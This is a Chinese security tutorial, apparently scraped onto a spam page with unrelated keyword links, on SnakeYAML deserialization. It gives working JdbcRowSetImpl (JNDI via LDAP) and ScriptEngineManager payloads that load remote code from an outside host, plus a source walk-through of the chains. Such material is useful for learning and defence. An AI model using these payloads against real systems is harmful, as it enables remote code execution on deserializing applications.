当前位置: 首页 > news >正文

无锡企业网站排名网站建设方任务 职责

无锡企业网站排名,网站建设方任务 职责,想自学设计从哪里开始,网站开发模式框架目录 关于Yaml 关于SnakeYaml SnakeYaml反序列化利用 JdbcRowSetImpl链 ScriptEngineManager链 复现 基本原理 继续深入 关于Yaml 学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。 这里举…

目录

关于Yaml

关于SnakeYaml

SnakeYaml反序列化利用

JdbcRowSetImpl链

ScriptEngineManager链 

复现

基本原理

继续深入


关于Yaml

学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。

这里举几个Yaml的例子回顾一下

# 示例 YAML 文件# 字符串和整数
name: John Doe
age: 30# 列表
languages:- Python- JavaScript- Java# 映射
address:street: 123 Main Streetcity: Anytownpostal_code: 12345# 嵌套结构
person:name: Aliceage: 25address:street: 456 Elm Streetcity: Somewherepostal_code: 54321

上面的例子体现了几个Yaml的特性:

使用 key: value 的格式表示键值对数据。
使用缩进表示层次结构,比如 languages 是一个列表,address 是一个映射。
支持注释,以 # 开头。
如何表示字符串、整数、列表和嵌套结构。

此外,在 YAML 中,方括号 [] 和双方括号 [[...]] 分别表示列表和嵌套列表的含义。

  1. 单方括号 [] 表示列表

    • 在 YAML 中,单方括号 [] 表示一个简单的列表,其中可以包含一组项目。
    • 例如,items: [apple, banana, orange] 表示一个包含三个字符串元素的列表。
  2. 双方括号 [[...]] 表示嵌套列表

    • 双方括号 [[...]] 表示一个嵌套的列表,即一个列表中包含另一个列表。
    • 这种结构用于表示更复杂的数据结构,其中内部列表中可以包含多个项目。
    • 在嵌套列表中,每对方括号表示一个新的列表层级。
    • 例如,nestedList: [[1, 2], [3, 4], [5, 6]] 表示一个包含三个子列表的父列表,每个子列表包含两个整数元素。

关于SnakeYaml

SnakeYAML 是 Java 中一个流行的 YAML 解析库,用于读取和生成 YAML 数据。

1.加载(Load)YAML 数据: 使用 SnakeYAML 的 load 方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。

2.转储(Dump)Java 对象为 YAML 格式: 使用 SnakeYAML 的 dump 方法可以将 Java 对象转换为对应的 YAML 格式数据。

举例:

一个User Bean

package com.snake.demo;public class User {private String name;public int age;public User(String name, int age) {this.name = name;this.age = age;}public User() {System.out.println("Non Arg Constructor");}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}@Overridepublic String toString() {return "I am " + name + ", " + age + " years old";}
}

测试类

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class Main {public static void main(String[] args) {User user = new User("Z3r4y", 18);Yaml yaml = new Yaml();System.out.println(yaml.dump(user));String s = "!!com.snake.demo.User {age: 18, name: Z3r4y}";User user2 = yaml.load(s);System.out.println(user2);}
}

运行结果

getName
!!com.snake.demo.User {age: 18, name: Z3r4y}Non Arg Constructor
setName
I am Z3r4y, 18 years old

通过上述lab,我们至少可以得到以下两点结论:

①yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类 

②四种属性修饰,private,protected,public,default,若属性设置为public,则不会调用对应的setter方法,当属性为public时,是通过反射对Field进行了set,而当属性为private时,是通过反射调用setName设置的值

SnakeYaml反序列化利用

SnakeYaml反序列化和fastjson反序列化一样都会调用setter,不过对于public修饰的成员不会调用其setter。

除此之外,SnakeYaml反序列化时还能调用该类的构造函数

于是乎便分别有了以下两种的利用

JdbcRowSetImpl链

调用JdbcRowSetImpl#setAutoCommit,这样就成功触发了JdbcRowSetImpl链,从而JNDI注入

先导pom依赖

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version></dependency>

编写POC

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC1 {public static void main(String[] args) {String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true}";Yaml yaml = new Yaml();yaml.load(poc);}
}

开一个恶意LDAP服务器

找个端口放恶意字节码

成功弹计算器

和FastJson反序列化原理一样的,不多解释,可以看这篇文章:【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用

ScriptEngineManager链 

复现

javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行,底层是个SPI,关于SPI可以看看这篇文章,不多赘述:

【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

github上现成的利用ScriptEngineManager利用方式的exp:

GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

拿到手稍微小改下这个部分代码就可

运行下列命令生成个jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后开个端口把恶意jar包放服务器上

运行这段代码,弹出计算器

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC2 {public static void main(String[] args) {String poc = "!!javax.script.ScriptEngineManager [\n" +"  !!java.net.URLClassLoader [[\n" +"    !!java.net.URL [\"http://124.222.136.33:1337/yaml-payload.jar\"]\n" +"  ]]\n" +"]";Yaml yaml = new Yaml();yaml.load(poc);}
}

基本原理

OK复现成功了,我们跟下调用链

首先看到javax.script.ScriptEngineManager的有参构造方法调用了init,并传入了一个ClassLoader,至于从哪传的,后面会讲,暂按下不表。

public ScriptEngineManager(ClassLoader loader) {init(loader);}

init方法进行一些初始化设置之后调用initEngines()

private void init(final ClassLoader loader) {globalScope = new SimpleBindings();engineSpis = new HashSet<ScriptEngineFactory>();nameAssociations = new HashMap<String, ScriptEngineFactory>();extensionAssociations = new HashMap<String, ScriptEngineFactory>();mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();initEngines(loader);}

initEngines方法,调用了getServiceLoader

 private void initEngines(final ClassLoader loader) {Iterator<ScriptEngineFactory> itr = null;try {ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {@Overridepublic ServiceLoader<ScriptEngineFactory> run() {return getServiceLoader(loader);}});itr = sl.iterator();}

跟进getServiceLoader方法

private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {if (loader != null) {return ServiceLoader.load(ScriptEngineFactory.class, loader);} else {return ServiceLoader.loadInstalled(ScriptEngineFactory.class);}}

返回一个ServiceLoader<T>,根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器,这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应

ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器

initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()next()

try {while (itr.hasNext()) {try {ScriptEngineFactory fact = itr.next();engineSpis.add(fact);} catch (ServiceConfigurationError err) {System.err.println("ScriptEngineManager providers.next(): "+ err.getMessage());if (DEBUG) {err.printStackTrace();}// one factory failed, but check other factories...continue;}}}

不多作赘余解释,这篇文章里有写:【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

总结来说就是:

hashNext用于获取全路径,并读取文件中的内容

next用于执行文件中对应的类,导致恶意类的动态加载,恶意静态代码块的执行,从而完成攻击

问题是,恶意类来自哪呢?是来自反序列化调用远程jar包

如何调用远程的jar包呢?只能说是由URLClassLoader和URL来具体操作的,我们不做具体讨论

原理这部分到此为止。

继续深入

我们先回到本源,来看看Yaml#load是如何操作

public <T> T load(String yaml) {return this.loadFromReader(new StreamReader(yaml), Object.class);
}

先是将我们的payload字符串存入StreamReader的stream中

public StreamReader(Reader reader) {this.pointer = 0;this.index = 0;this.line = 0;this.column = 0;this.name = "'reader'";this.dataWindow = new int[0];this.dataLength = 0;this.stream = reader;this.eof = false;this.buffer = new char[1025];
}

 OK,我们再回到loadFromReader(),其创建了一个Composer对象,并封装到constructor中

private Object loadFromReader(StreamReader sreader, Class<?> type) {Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);this.constructor.setComposer(composer);return this.constructor.getSingleData(type);
}

跟一下this.constructor.getSingleData

代码中首先通过 composer 对象的 getSingleNode 方法获取一个节点(Node)对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立,则继续执行下面的逻辑,否则会返回一个表示空值的对象。

public Object getSingleData(Class<?> type) {Node node = this.composer.getSingleNode();if (node != null && !Tag.NULL.equals(node.getTag())) {if (Object.class != type) {node.setTag(new Tag(type));} else if (this.rootTag != null) {node.setTag(this.rootTag);}return this.constructDocument(node);} else {Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);return construct.construct(node);}
}

  接着调用constructDocument()

protected final Object constructDocument(Node node) {Object var3;try {Object data = this.constructObject(node);this.fillRecursive();var3 = data;}

跟constructObject

protected Object constructObject(Node node) {
    if (constructedObjects.containsKey(node)) {
        return constructedObjects.get(node);
    }
    return constructObjectNoCheck(node);
}

跟 constructObjectNoCheck

constructObjectNoCheck()recursiveObjects值为空,所以不执行if,并通过add将node追加到其中,之后由于constructedObjects值也是空,所以三目运算执行" : "后边的内容

protected Object constructObjectNoCheck(Node node) {
    if (recursiveObjects.contains(node)) {
        throw new ConstructorException(null, null, "found unconstructable recursive node",
                node.getStartMark());
    }
    recursiveObjects.add(node);
    Construct constructor = getConstructor(node);
    Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
            : constructor.construct(node);

node放入recursiveObjects,进入constructor.construct(node)

public Object construct(Node node) {
    try {
        return getConstructor(node).construct(node);
    } catch (ConstructorException e) {
        throw e;
    } catch (Exception e) {
        throw new ConstructorException(null, null, "Can't construct a java object for "
                + node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
    }
}

再跟construct

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

遍历节点,调用constructObject()又给循环回去

上面的POC有5个node,循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的有参构造器,连接上了上文的SPI机制。

http://www.yayakq.cn/news/689505/

相关文章:

  • 手机网站开发兼容性网站如何推广方案策划
  • 网站建设属于技术开发吗asp网站打开速度慢
  • 手机端网站怎么做wordpress live-2d
  • thinkphp网站建设课程唐山高端网站建设
  • 外贸网站建设哪家实惠宁波公司有哪些
  • 淄博做网站的公司有哪些wordpress怎么做商城网站
  • 射阳做网站的公司古镇营销型网站建设
  • 网站做描本好处网站app服务器租用
  • 顺德网站开发网站建设市场趋势
  • 官网站内优化怎么做 2018域名注册哪个最好
  • 商城网站制作报价做羞羞的事网站
  • 一流的上海网站建设广州各区正在进一步优化以下措施
  • 网站开发后台用什么语言优化网站价位
  • 众网站运输公司网站模板
  • 安徽理工大学新校区建设网站网站开发的工作要求
  • 有帮忙做ppt的网站或人吗外贸建设网站
  • 中煤建设协会网站重庆网站域名备案地址
  • 制作网站的列子求个网站2021年能用
  • 开封做网站公司汉狮宁波网站推广业务
  • 什么人适合做服装设计师百度优化公司
  • 外贸网站建设服务丹徒网站建设策划
  • 国外网站赚钱杂志网站模板
  • vs2013网站建设河东区腾讯网站建设
  • 家政公司网站建设方案网创项目
  • 滨海做网站价格英文营销网站 知乎
  • 武进区建设局网站中国建设银行网站转账
  • 网站程序安装秦皇岛哪家公司网站建设好
  • 化妆品网站开发流程和进度安排wordpress页面编辑器
  • 建筑型专业网站有哪些造价人员做兼职的网站
  • 部队网站建设招标东莞有什么好玩的地方